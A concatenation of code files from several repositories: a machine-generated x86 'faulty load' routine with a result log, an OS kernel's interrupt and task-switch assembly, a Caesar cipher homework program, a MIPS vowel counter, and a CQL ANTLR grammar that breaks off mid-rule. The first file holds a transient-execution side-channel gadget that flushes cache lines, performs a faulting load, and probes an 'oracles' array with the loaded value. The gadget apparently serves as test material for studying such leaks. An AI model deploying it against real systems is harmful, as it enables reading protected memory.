lea addresses_WC_ht+0x1b57b, %rdi
nop
nop
nop
nop
and %r14, %r14
mov $125, %rcx
rep movsq
nop
nop
nop
nop
cmp %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_D+0x1666f, %rsi
lea addresses_WC+0x148e3, %rdi
inc %r8
mov $11, %rcx
rep movsq
nop
nop
nop
nop
nop
and %rcx, %rcx
// Store
lea addresses_D+0x105fb, %rdi
nop
nop
nop
nop
nop
add $37631, %r8
movw $0x5152, (%rdi)
nop
nop
nop
sub $41074, %r14
// Store
lea addresses_UC+0x1601b, %rcx
nop
nop
cmp %rdi, %rdi
movl $0x51525354, (%rcx)
nop
nop
inc %rsi
// REPMOV
lea addresses_WC+0x11fa3, %rsi
lea addresses_PSE+0x16b1b, %rdi
nop
nop
nop
nop
nop
xor $59318, %r8
mov $98, %rcx
rep movsb
xor $98, %rdi
// Store
lea addresses_normal+0x113e1, %r14
nop
nop
nop
sub $6366, %rsi
movb $0x51, (%r14)
cmp %r14, %r14
// Store
lea addresses_D+0x36fb, %rcx
nop
nop
nop
nop
nop
xor %rax, %rax
movl $0x51525354, (%rcx)
nop
nop
nop
nop
nop
cmp %rax, %rax
// Store
lea addresses_D+0xc9b, %r15
nop
nop
nop
nop
nop
cmp %rdi, %rdi
mov $0x5152535455565758, %rsi
movq %rsi, (%r15)
nop
nop
nop
xor $38767, %rdi
// REPMOV
lea addresses_UC+0x18cfb, %rsi
lea addresses_WT+0x150a0, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
and $58183, %r8
mov $29, %rcx
rep movsq
nop
nop
cmp %r8, %r8
// Store
lea addresses_A+0x1409d, %r14
nop
nop
nop
cmp %r8, %r8
mov $0x5152535455565758, %rdi
movq %rdi, (%r14)
nop
nop
sub %r8, %r8
// Store
lea addresses_WC+0x44fb, %r8
nop
cmp $32861, %rcx
mov $0x5152535455565758, %rax
movq %rax, %xmm0
vmovups %ymm0, (%r8)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
// Load
lea addresses_D+0x80f3, %rcx
nop
add $38757, %rsi
mov (%rcx), %r8w
sub %rax, %rax
// Faulty Load
lea addresses_A+0x1fb, %r8
nop
nop
nop
nop
nop
cmp %rax, %rax
mov (%r8), %edi
lea oracles, %r15
and $0xff, %rdi
shlq $12, %rdi
mov (%r15,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': True}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
kernel/Exec/x86/kernel_tasking.asm | mschwartz/amos | 4 | 176611 | <reponame>mschwartz/amos
;; kernel_tasking.asm
%macro bochs 0
xchg bx, bx
%endm
%macro BOCHS 0
xchg bx, bx
%endm
;; kernel_isr is the "C/C++" function to be called
extern kernel_isr
struc TSS
.reserved1 resd 1
.rsp0 resq 1
.rsp1 resq 1
.rsp2 resq 1
.reserved2 resq 1
.ist1 resq 1
.ist2 resq 1
.ist3 resq 1
.ist4 resq 1
.ist5 resq 1
.ist6 resq 1
.ist7 resq 1
.reserved3 resq 1
.reserved4 resw 1
.io_mba resw 1
endstruc
;; task_t structure MUST match the one in idt.h
struc TASK
.rflags resq 1
.rax resq 1
.rbx resq 1
.rcx resq 1
.rdx resq 1
.rsi resq 1
.rdi resq 1
.r8 resq 1
.r9 resq 1
.r10 resq 1
.r11 resq 1
.r12 resq 1
.r13 resq 1
.r14 resq 1
.r15 resq 1
.rip resq 1
.rsp resq 1
.rbp resq 1
.upper_sp resq 1
.lower_sp resq 1 ; used to save caller's stack in init_task_state
.tss resq 1
.error_code resq 1
.isrnum resq 1
.cs resq 1
.ds resq 1
.es resq 1
.ss resq 1
.fxsave resb 512 + 16
endstruc
;;
;; GS Register details
;;
;; The gs register value is unique per CPU (each CPU has its own registers!)
;; The CPU instance is stored in gs:TGS.current_cpu
;; The current_task variable is stored in gs:TGS.current_task
;;
;; We can't use the global current_task variable that we used to because each CPU has its own current task!
;;
;; This is the per CPU local data
CURRENT_GS: equ 0
CURRENT_TASK: equ 8
CURRENT_CPU: equ 16
;; extern "C" void write_msr(TUint64 aRegister, TUint64 aValue);
global write_msr
write_msr:
push rcx
push rdx
mov rcx, rdi
mov rax, rsi
mov rdx, rsi
shr rdx, 32
wrmsr
pop rdx
pop rcx
ret
;; extern "C" TUint64 read_msr(TUint64 aRegister);
global read_msr
read_msr:
push rcx
push rdx
mov rcx, rdi
rdmsr
shl rdx, 32
or rax, rdx
pop rdx
pop rcx
ret
global swapgs
swapgs:
swapgs
ret
;; this is callable from C/C++ to set the GS register value
global SetGS
SetGS:
pushf
cli
push rax
push rcx
push rdx
mov rax, rdi
mov rdx, rdi
shr rdx, 32
mov rcx, 0xc0000101
wrmsr
mov [gs:CURRENT_GS], rdi
swapgs
; mov rcx, 0xc0000102
; wrmsr
; swapgs
mov rax, [gs:CURRENT_GS]
; mov rcx, 0xc0000101
; rdmsr
pop rdx
pop rcx
pop rax
popf
ret
gs_flag:
db 0
align 16
global GetGS
GetGS:
pushf
cli
swapgs
mov rax, [gs:CURRENT_GS]
swapgs
popf
ret
global SetCPU
SetCPU:
pushf
cli
swapgs
mov [gs:CURRENT_CPU], rdi
swapgs
popf
ret
global GetCPU
GetCPU:
pushf
cli
swapgs
mov rax, [gs:CURRENT_CPU]
swapgs
popf
ret
global SetCurrentTask
SetCurrentTask:
pushf
cli
swapgs
mov [gs:CURRENT_TASK], rdi
swapgs
popf
ret
global GetCurrentTask
GetCurrentTask:
pushf
cli
swapgs
mov rax, [gs:CURRENT_TASK]
swapgs
popf
ret
;; each of the isr handlers pushes a word of it's IRQ number and jumps here
;; this code puashes all the registers on the stack, and calls our single C IRQ handler
;; the C IRQ handler expects this specific order of items on the stack! See the ISR_REGISTERS struct.
global isr_common
extern hexquadn64
extern hexquads64
isr_common:
; stack at this point:
; +0x0000 RIP
; +0x0008 CS
; +0x0010 RFLAGS
; +0x0018 RSP
; +0x0020 SS
; NOTE: rax pushed by ISR is at the very top, we must pop it
push rdi ; save rdi so we don't clobber it
swapgs
mov rdi, [gs:CURRENT_TASK]
swapgs
mov [rdi + TASK.isrnum], rax ; isrnum was pushed on stack by xisr
; set default value for task_error_code
xor rax, rax
mov [rdi + TASK.error_code], rax
; we want to store the entire register set in the current task struct
; stack is rdi, rax, then interrupt stack frame, per above
pop rax
mov [rdi + TASK.rdi], rax ; rdi
pop rax
mov [rdi + TASK.rax], rax ; rax
; now stack is interrupt stack frame
mov [rdi + TASK.rbx], rbx
mov [rdi + TASK.rcx], rcx
mov [rdi + TASK.rdx], rdx
mov [rdi + TASK.rsi], rsi
mov [rdi + TASK.r8], r8
mov [rdi + TASK.r9], r9
mov [rdi + TASK.r10], r10
mov [rdi + TASK.r11], r11
mov [rdi + TASK.r12], r12
mov [rdi + TASK.r13], r13
mov [rdi + TASK.r14], r14
mov [rdi + TASK.r15], r15
mov [rdi + TASK.rbp], rbp
; all general purpose registers are saved at this point
xor rax, rax
mov ax, ds
mov [rdi + TASK.ds], rax
mov ax, es
mov [rdi + TASK.es], rax
; save coprocessor registers, if CPU has them
mov rax, cr4
bts rax, 9
je .continue
; fxsave and fxrstor need to store/restore to/from
; 16 byte aligned addresses
mov rax, rdi
add rax, TASK.fxsave
add rax, 15
and rax, ~0x0f
fxsave [rax]
.continue:
; the CPU pushes an extra error code for certain interrupts
mov rax, [rdi + TASK.isrnum]
cmp rax, 8
je .error_code
cmp rax, 9
je .error_code
cmp rax, 10
je .error_code
cmp rax, 11
je .error_code
cmp rax, 12
je .error_code
cmp rax, 15
je .error_code
jmp .frame
.error_code:
pop rax ; get error_code
mov [rdi + TASK.error_code], rax
.frame:
; now we unpack the stack frame
pop rax
mov [rdi + TASK.rip], rax
pop rax
mov [rdi + TASK.cs], ax
pop rax
mov [rdi + TASK.rflags], rax
pop rax
mov [rdi + TASK.rsp], rax
pop rax
mov [rdi + TASK.ss], ax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; pass isrnum to C method as argument
mov rdi, [rdi + TASK.isrnum]
call kernel_isr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global restore_task_state
restore_task_state:
cli
; restore task state
swapgs
mov rdi, [gs:CURRENT_TASK]
swapgs
mov rax, cr4
bts rax, 9
je .continue
finit
; fxsave and fxrstor need to store/restore to/from 16 byte aligned addresses
mov rax, rdi
add rax, TASK.fxsave
add rax, 15
and rax, ~0x0f
fxrstor [rax]
.continue:
; prepare stack for iretq
mov rax, [rdi + TASK.ss]
push rax
mov rax, [rdi + TASK.rsp]
push rax
mov rax, [rdi + TASK.rflags]
push rax
mov rax, [rdi + TASK.cs]
push rax
mov rax, [rdi + TASK.rip]
push rax
; stack is prepared for iretq
; now restore the segment registers
mov rax, [rdi + TASK.ds]
mov ds, ax
mov rax, [rdi + TASK.es]
mov es, ax
; restore general purpose registers
mov rbp, [rdi + TASK.rbp]
mov r15, [rdi + TASK.r15]
mov r14, [rdi + TASK.r14]
mov r13, [rdi + TASK.r13]
mov r12, [rdi + TASK.r12]
mov r11, [rdi + TASK.r11]
mov r10, [rdi + TASK.r10]
mov r9, [rdi + TASK.r9]
mov r8, [rdi + TASK.r8]
mov rsi, [rdi + TASK.rsi]
mov rdx, [rdi + TASK.rdx]
mov rcx, [rdi + TASK.rcx]
mov rbx, [rdi + TASK.rbx]
mov rax, [rdi + TASK.rax]
; finally restore rdi (we don't need it anymore)
mov rdi, [rdi + TASK.rdi]
iretq
global init_task_state
; rdi = struct to init
init_task_state:
; save flags on stack, we want to do this with interrupts disabled, since we are mucking with rsp
pushf
cli
%if 0
; push registers we use/modify onto caller's stack
push rcx
mov rcx, rsp ; save caller rsp
; set up task's stack
mov rsp, [rdi + TASK.upper_sp]
; set up stack for iretq
mov rax, 10h ; ss
push rax
mov rax, [rdi + TASK.upper_sp] ; rsp
push rax
mov rax, [rdi + TASK.rflags] ; rflags
push rax
mov rax, 8 ; cs
push rax
mov rax, [rdi + TASK.rip]
push rax
; push registers as if an IRQ/exception
xor rax, rax
push rax ; rdi
push rax ; rax
push rax ; rbx
push rax ; rcx
push rax ; rdx
push rax ; rsi
push rax ; r8
push rax ; r9
push rax ; r10
push rax ; r11
push rax ; r12
push rax ; r13
push rax ; r14
push rax ; r15
push rax ; rbp
mov [rdi + TASK.rsp], rsp
; restore caller rsp
mov rsp, rcx
pop rcx
%endif
popf
ret
global enter_tasking
enter_tasking:
; jmp $
jmp restore_task_state
%if 0
cli
; restore task state
swapgs
mov rdi, [gs:CURRENT_TASK]
swapgs
; set up the return stack using the task's stack memory
; mov ss, [rdi + TASK.ss]
mov rsp, [rdi + TASK.rsp]
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdx
pop rcx
pop rbx
pop rax
; finally restore rdi (we don't need it anymore)
pop rdi
iretq
%endif
global save_rsp
save_rsp:
pushf
cli
push rdi
swapgs
mov rdi, [gs:CURRENT_TASK]
swapgs
test rdi, rdi
jne .save
pop rdi
popf
ret
.save:
push rax
mov rax, rsp
add rax, 8 + 8 + 8
mov [rdi + TASK.rsp], rax
pop rax
pop rdi
popf
ret
|
Homework 4/cencrypt.asm | Sma-Das/CSEC-201 | 0 | 168588 | ; ---------------------------------
; 32-bit implementation of Caeser's Cipher
; @author <NAME>
; ---------------------------------
section .data
; Basic constants for system calls
SYS_EXIT equ 1
SYS_READ equ 3
SYS_WRITE equ 4
EXIT_SUCCESS equ 0
EXIT_FAIL equ 1
; File descriptors
STDOUT equ 1
STDIN equ 0
; Messages
prmptIN db "Input : ", 0x0
prmptINlen equ $ - prmptIN
prmptERR db "Error", 0xA, 0x0
prmptERRlen equ $ - prmptERR
prmptOUT db "Output : ", 0x0
prmptOUTlen equ $ - prmptOUT
; buffer size for input string
BUFFER equ 256
; shift amount
SHIFT equ 3
ALPHABET equ 26
section .bss
; Reserve space for the string
userIN resb BUFFER
userINlen resb 4 ;reserve 4 bytes for the string length
section .text
global _start:
; --------------------------
; str_length(char* string) -> int
; IN: ebx -> char* string
; OUT: eax -> int [length]
; --------------------------
str_length:
; preserve values
push ebx
push ecx
; set count to 0
xor ecx, ecx
check_null:
; If null character, terminate loop
cmp byte [ebx], 0
jz return_length
; Increment loop
inc ebx
inc ecx
jmp check_null
return_length:
; move return value into eax
mov eax, ecx
; restore registers
pop ecx
pop ebx
ret
; ----------------------------------------------------
; shift_sentence(char* string, int length)
; IN: ebx -> char* string | sentence you want to shift
; IN: ecx -> int length | length of the string
; ----------------------------------------------------
shift_sentence:
; preserve values
push ebx
push ecx
dec ecx ; don't want to shift newline
shift:
cmp ecx, 0
jz exit_shift
call is_valid ; check for valid letter
add byte [ebx], SHIFT
call shift_over ; check the new shift is in the valid ascii range
inc ebx
dec ecx
jmp shift
exit_shift:
pop ecx
pop ebx
ret
; ---------------------------
; is_valid(char letter)
; IN: ebx -> char letter
; TERMINATE ON INVALID LETTER
; ---------------------------
is_valid:
cmp byte [ebx], 'A'
jl quit_fail ; if letter < 'A'
cmp byte [ebx], 'z'
jg quit_fail ; elif letter > 'z'
cmp byte [ebx], 'Z'
jle valid ; if letter <= 'Z'
cmp byte [ebx], 'a'
jl quit_fail ; if letter < 'a'
valid:
ret
; ----------------------
; shift_over
; IN: ebx -> char letter
; ----------------------
shift_over:
cmp byte [ebx], 'Z'
jle return_shift
cmp byte [ebx], 'a'
jl shift_down
cmp byte [ebx], 'z'
jg shift_down
jmp return_shift
shift_down:
sub byte [ebx], ALPHABET
return_shift:
ret
_start:
; Prompt user for input
mov edx, prmptINlen
mov ecx, prmptIN
mov ebx, STDOUT
mov eax, SYS_WRITE
int 0x80
; Read input
mov ecx, userIN
mov ebx, STDIN
mov eax, SYS_READ
int 0x80
push eax ; save the length of the buffer
mov ebx, userIN ; set ebx to the pointer of the string input
call str_length
mov [userINlen], eax ; store the length of the string
; shift letters
mov ecx, [userINlen]
mov ebx, userIN
call shift_sentence
; Print output dialog
mov edx, prmptOUTlen
mov ecx, prmptOUT
mov ebx, STDOUT
mov eax, SYS_WRITE
int 0x80
; print shifted sentence
pop edx ; get the buffer length from eax earlier
mov ecx, userIN
mov ebx, STDOUT
mov eax, SYS_WRITE
int 0x80
quit_success:
; Quit with successful termination
mov ebx, EXIT_SUCCESS
jmp quit
quit_fail:
; Write error
mov edx, prmptERRlen
mov ecx, prmptERR
mov ebx, STDOUT
mov eax, SYS_WRITE
int 0x80
mov ebx, EXIT_FAIL
jmp quit
quit:
; Exit program
mov eax, SYS_EXIT
int 0x80
|
Esercizi/Operazioni con le stringhe/Conto vocali in stringa.asm | lucafioravanti/MIPS | 0 | 174599 | <reponame>lucafioravanti/MIPS
.data
ins_inp: .asciiz "Inserisci parola: "
vowels: .asciiz "aeiou"
.data 0x10010100
parola: .space 100
.text
li $v0, 4
la $a0, ins_inp
syscall
li $v0, 8
la $a0, parola
li $a1, 100
syscall
la $s0, parola
# $s2: contatore vocali
word_loop:
lbu $t0, 0($s0) # recupero il singolo carattere
addiu $s0, $s0, 1 # aggiorno il puntatore al prossimo carattere
beqz $t0, end # ultimo carattere => esci
#ori $t0, $t0, 0x20 # porto tutto in minuscolo
la $s1, vowels # punto al vettore vocali
vowel_loop:
lbu $t1, 0($s1) # recupero la vocale con la quale testo
beqz $t1, word_loop # se non ho piu vocali => proseguo con altro carattere in word_loop
addiu $s1, $s1, 1 # punto alla prossima vocale
beq $t0, $t1, c_v # carattere = vocale => contatore_vocale ++
j vowel_loop
c_v:
addiu $s2, $s2, 1
j word_loop
end:
li $v0, 10
syscall
|
Src/grammar/cql.g4 | esteban-aliverti/clinical_quality_language | 0 | 6400 | grammar cql;
/*
* Parser Rules
*/
logic
:
libraryDefinition?
usingDefinition*
includeDefinition*
parameterDefinition*
valuesetDefinition*
statement+
;
/*
* Definitions
*/
libraryDefinition
: 'library' identifier ('version' versionSpecifier)?
;
usingDefinition
: 'using' identifier ('version' versionSpecifier)?
;
includeDefinition
: 'include' identifier ('version' versionSpecifier)? 'called' localIdentifier
;
localIdentifier
: identifier
;
parameterDefinition
: 'parameter' identifier (':' typeSpecifier)? ('default' expression)?
;
valuesetDefinition
: 'valueset' identifier '=' valuesetId ('version' versionSpecifier)? codeSystemVersions?
;
codeSystemVersions
: 'code systems' '(' codeSystemVersion (',' codeSystemVersion)* ')'
;
codeSystemVersion
: codeSystemId 'version' versionSpecifier
;
codeSystemId
: STRING
;
valuesetId
: STRING
;
versionSpecifier
: STRING
;
/*
* Type Specifiers
*/
typeSpecifier
: namedTypeSpecifier
| listTypeSpecifier
| intervalTypeSpecifier
| tupleTypeSpecifier
;
namedTypeSpecifier
: (modelIdentifier '.')? identifier
;
modelIdentifier
: identifier
;
listTypeSpecifier
: 'list' '<' typeSpecifier '>'
;
intervalTypeSpecifier
: 'interval' '<' typeSpecifier '>'
;
tupleTypeSpecifier
: 'tuple' '{' tupleElementDefinition (',' tupleElementDefinition)* '}'
;
tupleElementDefinition
: identifier ':' typeSpecifier
;
/*
* Statements
*/
statement
: expressionDefinition
| contextDefinition
| functionDefinition
;
expressionDefinition
: 'define' identifier '=' expression
;
contextDefinition
: 'context' identifier
;
functionDefinition
: 'define' 'function' identifier '(' (operandDefinition (',' operandDefinition)*)? ')' functionBody
;
operandDefinition
: identifier ':' typeSpecifier
;
functionBody
: '{' returnStatement '}'
;
returnStatement
: 'return' expression
;
/*
* Expressions
*/
querySource
: retrieve
| qualifiedIdentifier
| '(' expression ')'
;
aliasedQuerySource
: querySource alias
;
alias
: identifier
;
queryInclusionClause
: withClause
| withoutClause
;
withClause
: 'with' aliasedQuerySource 'such that' expression
;
withoutClause
: 'without' aliasedQuerySource 'such that' expression
;
retrieve
: '[' topic (':' (valuesetPathIdentifier 'in')? valueset)? ']'
;
topic
: namedTypeSpecifier
;
valuesetPathIdentifier
: identifier
;
valueset
: qualifiedIdentifier
;
qualifier
: identifier
;
query
: sourceClause defineClause? queryInclusionClause* whereClause? returnClause? sortClause?
;
sourceClause
: singleSourceClause
| multipleSourceClause
;
singleSourceClause
: aliasedQuerySource
;
multipleSourceClause
: 'foreach' aliasedQuerySource (',' aliasedQuerySource)*
;
defineClause
: 'define' defineClauseItem (',' defineClauseItem)*
;
defineClauseItem
: identifier '=' expression
;
whereClause
: 'where' expression
;
returnClause
: 'return' ('all' | 'distinct')? expression
;
sortClause
: 'sort' ( sortDirection | ('by' sortByItem (',' sortByItem)*) )
;
sortDirection
: 'asc' | 'ascending'
| 'desc' | 'descending'
;
sortByItem
: expressionTerm sortDirection?
;
qualifiedIdentifier
: (qualifier '.')* identifier
;
expression
: expressionTerm # termExpression
| retrieve # retrieveExpression
| query # queryExpression
| expression 'is' 'not'? ('null' | 'true' | 'false') # booleanExpression
| expression ('is' | 'as') typeSpecifier # typeExpression
| 'cast' expression 'as' typeSpecifier # castExpression
| 'not' expression # notExpression
| 'exists' expression # existenceExpression
| expression 'properly'? 'between' expressionTerm 'and' expressionTerm # rangeExpression
| pluralDateTimePrecision 'between' expressionTerm 'and' expressionTerm # timeRangeExpression
| expression ('<=' | '<' | '>' | '>=') expression # inequalityExpression
| expression intervalOperatorPhrase expression # timingExpression
| expression ('=' | '<>') expression # equalityExpression
| expression ('in' | 'contains') dateTimePrecisionSpecifier? expression # membershipExpression
| expression 'and' expression # andExpression
| expression ('or' | 'xor') expression # orExpression
| expression ('union' | 'intersect' | 'except') expression # inFixSetExpression
;
dateTimePrecision
: 'year' | 'month' | 'day' | 'hour' | 'minute' | 'second' | 'millisecond'
;
dateTimeComponent
: dateTimePrecision
| 'date'
| 'time'
| 'timezone'
;
pluralDateTimePrecision
: 'years' | 'months' | 'days' | 'hours' | 'minutes' | 'seconds' | 'milliseconds'
;
expressionTerm
: term # termExpressionTerm
| expressionTerm '.' identifier # accessorExpressionTerm
| expressionTerm '[' expression ']' # indexedExpressionTerm
| expressionTerm '(' (expression (',' expression)*)? ')' # methodExpressionTerm
| 'convert' expression 'to' typeSpecifier # conversionExpressionTerm
| ('+' | '-') expressionTerm # polarityExpressionTerm
| ('start' | 'end') 'of' expressionTerm # timeBoundaryExpressionTerm
| dateTimeComponent 'from' expressionTerm # timeUnitExpressionTerm
| 'duration' 'in' pluralDateTimePrecision 'of' expressionTerm # durationExpressionTerm
| 'width' 'of' expressionTerm # widthExpressionTerm
| 'successor' 'of' expressionTerm # successorExpressionTerm
| 'predecessor' 'of' expressionTerm # predecessorExpressionTerm
| 'singleton' 'from' expressionTerm # elementExtractorExpressionTerm
| expressionTerm '^' expressionTerm # powerExpressionTerm
| expressionTerm ('*' | '/' | 'div' | 'mod') expressionTerm # multiplicationExpressionTerm
| expressionTerm ('+' | '-') expressionTerm # additionExpressionTerm
| 'if' expression 'then' expression 'else' expression # ifThenElseExpressionTerm
| 'case' expression? caseExpressionItem+ 'else' expression 'end' # caseExpressionTerm
| 'coalesce' '(' expression (',' expression)+ ')' # coalesceExpressionTerm
| ('distinct' | 'collapse' | 'expand') expression # aggregateExpressionTerm
;
caseExpressionItem
: 'when' expression 'then' expression
;
dateTimePrecisionSpecifier
: dateTimePrecision 'of'
;
relativeQualifier
: 'or before'
| 'or after'
;
offsetRelativeQualifier
: 'or more'
| 'or less'
;
quantityOffset
: quantityLiteral offsetRelativeQualifier?
;
intervalOperatorPhrase
